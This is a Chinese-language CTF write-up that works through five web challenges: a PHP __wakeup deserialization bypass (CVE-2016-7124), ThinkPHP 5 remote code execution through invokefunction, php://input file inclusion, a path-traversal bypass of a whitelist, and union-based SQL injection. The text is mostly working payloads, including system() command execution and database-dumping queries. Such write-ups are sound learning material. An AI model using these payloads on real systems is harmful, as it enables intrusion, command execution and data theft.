unserialize3
前言
PHP 魔术方法__wakeup()
作用:当使用unserialize()函数反序列化对象时,会自动调用对象的__wakeup()方法;这里的__wakeup()是"防护手段":反序列化时直接exit,阻止后续操作(比如获取$flag)。
漏洞原理:CVE-2016-7124(__wakeup()绕过)
PHP5.6.25之前、7.0.10之前存在一个漏洞:当序列化字符串中,对象的"属性个数"大于实际类的属性个数时,__wakeup()方法会被跳过,不执行。
解题

代码的意思:
class xctf{
public $flag = '111'; // 目标:获取真实flag(这里111是示例)
public function __wakeup(){
exit('bad requests'); // 防护:反序列化时自动执行,直接退出阻止漏洞利用
}
}
?code= // 传入反序列化 payload 的入口
类xctf 只有1个公共属性$flag;
正常序列化结果(格式化后):
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
结构解析:O:类名长度:"类名":属性个数:{属性名:属性值,...};
漏洞利用:将"属性个数"从1改为2(大于实际个数1),即可绕过__wakeup():
O:4:"xctf":2:{s:4:"flag";s:3:"111";}。
把以上代码改成php代码
php
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a = new xctf();
print(serialize($a));
?>

运行后得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
把1改为2构造payload
php
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{f4743f5cb4fc6042365a841a95c7cc16}
php_rce
前言
ThinkPHP V5 是 国内主流的 PHP 开发框架(ThinkPHP 框架的第 5 大版本,简称 TP5),基于 MVC 架构设计,主打 "简单、快速、安全",广泛用于中小型网站、API 接口、后台管理系统等开发场景。
程序未对控制器进行过滤,导致攻击者可以用\(斜杠)调用任意类方法。
漏洞利用
解题

构造payload:
php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

发现flag信息,继续进入flag目录
php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

发现2个flag信息,读取信息
php
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

发现flag:flag{thinkphp5_rce}
Web_php_include
前言
php://input是PHP中的一种内置伪协议 ,核心作用是读取 HTTP 请求体中的原始数据(不依赖_POST/_GET等超全局变量),常用于接收非表单格式的请求数据(如JSON、XML、二进制数据)或在文件包含漏洞中注入恶意代码。
解题
打开题目发现代码:

php
<?php
show_source(__FILE__); // 显示当前文件源码(方便查看靶场逻辑)
echo $_GET['hello']; // 输出 GET 参数 hello 的值(无实际作用,仅为干扰项)
$page = $_GET['page']; // 接收 GET 参数 page(文件包含的目标路径)
// 过滤逻辑:循环替换 "php://" 为空字符串(试图阻止 php 伪协议利用)
while (strstr($page, "php://")) {
$page = str_replace("php://", "", $page);
}
include($page); // 包含处理后的 $page 文件(核心漏洞点)
?>
那么可以利用php://input伪协议读取文件,我们使用bp抓包,发送到重发器(Repeater)
构建url为61.147.171.103:63483?page=Php://input
用post方式传递php代码。
php
<?php system('ls'); ?>

发现fl4gisisish3r3.php文件
查看该文件
php
<?php system('cat fl4gisisish3r3.php'); ?>

发现flag:flag=ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
warmup
打开题目,有点想笑

按F12查看源代码

发现source.php文件,直接去访问
得到另一个文件hint.php

直接访问

告诉我们flag在ffffllllaaaagggg里
php
<?php
// 高亮显示当前文件的源码(靶场常用,方便查看核心逻辑)
highlight_file(__FILE__);
// 定义一个名为 emmm 的类,核心作用是校验文件参数是否合法
class emmm
{
// 静态方法:校验传入的 $page 参数(引用传递,不影响实际逻辑)
public static function checkFile(&$page)
{
// 白名单:允许包含的合法文件(仅 source.php 和 hint.php)
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// 第一次校验:$page 未定义 或 不是字符串 → 非法请求
if (! isset($page) || !is_string($page)) {
echo "you can't see it"; // 提示信息
return false; // 返回false,拒绝包含
}
// 第二次校验:$page 完全匹配白名单中的值(精确匹配)
if (in_array($page, $whitelist)) {
return true; // 匹配成功,允许包含
}
// 第三次校验:截取 $page 中 "?" 之前的部分(处理带参数的请求)
$_page = mb_substr(
$page, // 待截取字符串
0, // 起始位置(从0开始)
mb_strpos($page . '?', '?') // 结束位置:找到第一个"?"的索引(拼接"?"避免无"?"时返回false)
);
// 截取后的值是否在白名单中(如 $page=source.php?xxx → 截取后为 source.php)
if (in_array($_page, $whitelist)) {
return true; // 匹配成功,允许包含
}
// 第四次校验:先对 $page 进行 URL 解码,再截取"?"之前的部分
$_page = urldecode($page); // URL解码(处理编码后的参数)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 解码+截取后的值是否在白名单中
if (in_array($_page, $whitelist)) {
return true; // 匹配成功,允许包含
}
// 所有校验都失败 → 非法请求
echo "you can't see it";
return false;
}
}
// 外层参数校验:满足3个条件才执行文件包含
if (! empty($_REQUEST['file']) // 1. file 参数不为空
&& is_string($_REQUEST['file']) // 2. file 参数是字符串类型
&& emmm::checkFile($_REQUEST['file']) // 3. 经过 emmm 类的 checkFile 方法校验通过
) {
include $_REQUEST['file']; // 核心漏洞点:校验通过后包含 file 参数指定的文件
exit; // 终止脚本执行
} else {
// 校验失败:输出一张搞笑图片(靶场常见反馈)
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
尝试使用php伪协议,发现没有用,对?进行url编码也没用
?file=hint.php?php://filter/convert.base64-encode/resource=ffffllllaaaagggg
?file=source.php%3FFphp://filter/convert.base64-encode/resource=ffffllllaaaagggg
可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置
那我们不停的增加../,找到文件位置
?file=hint.php?/../ffffllllaaaagggg
?file=hint.php?/../../ffffllllaaaagggg
?file=hint.php?/../../../ffffllllaaaagggg
?file=hint.php?/../../../../ffffllllaaaagggg

发现flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}
NewsCenter
打开题目

翻译一下英文

好吧,没啥用,发现在搜索框输入会得到不同结果,可能存在sql注入
判断闭合
php
1'

是单引号闭合
判断字段数
sql
1' order by 2 #
没有报错
sql
1' order by 3 #
报错,说明只有3个字段
查询数据库
sql
1' union select 1,2,database()#

查询表名
sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

发现两张表news,secret_table
查询secret_table表的字段
sql
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

没有有用的信息
查询secret_table表的字段
sql
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

发现字段:id,fl4g
查询fl4g的内容
sql
1' union select 1,2,group_concat(fl4g) from secret_table#

得到flag:QCTF{sq1_inJec7ion_ezzz}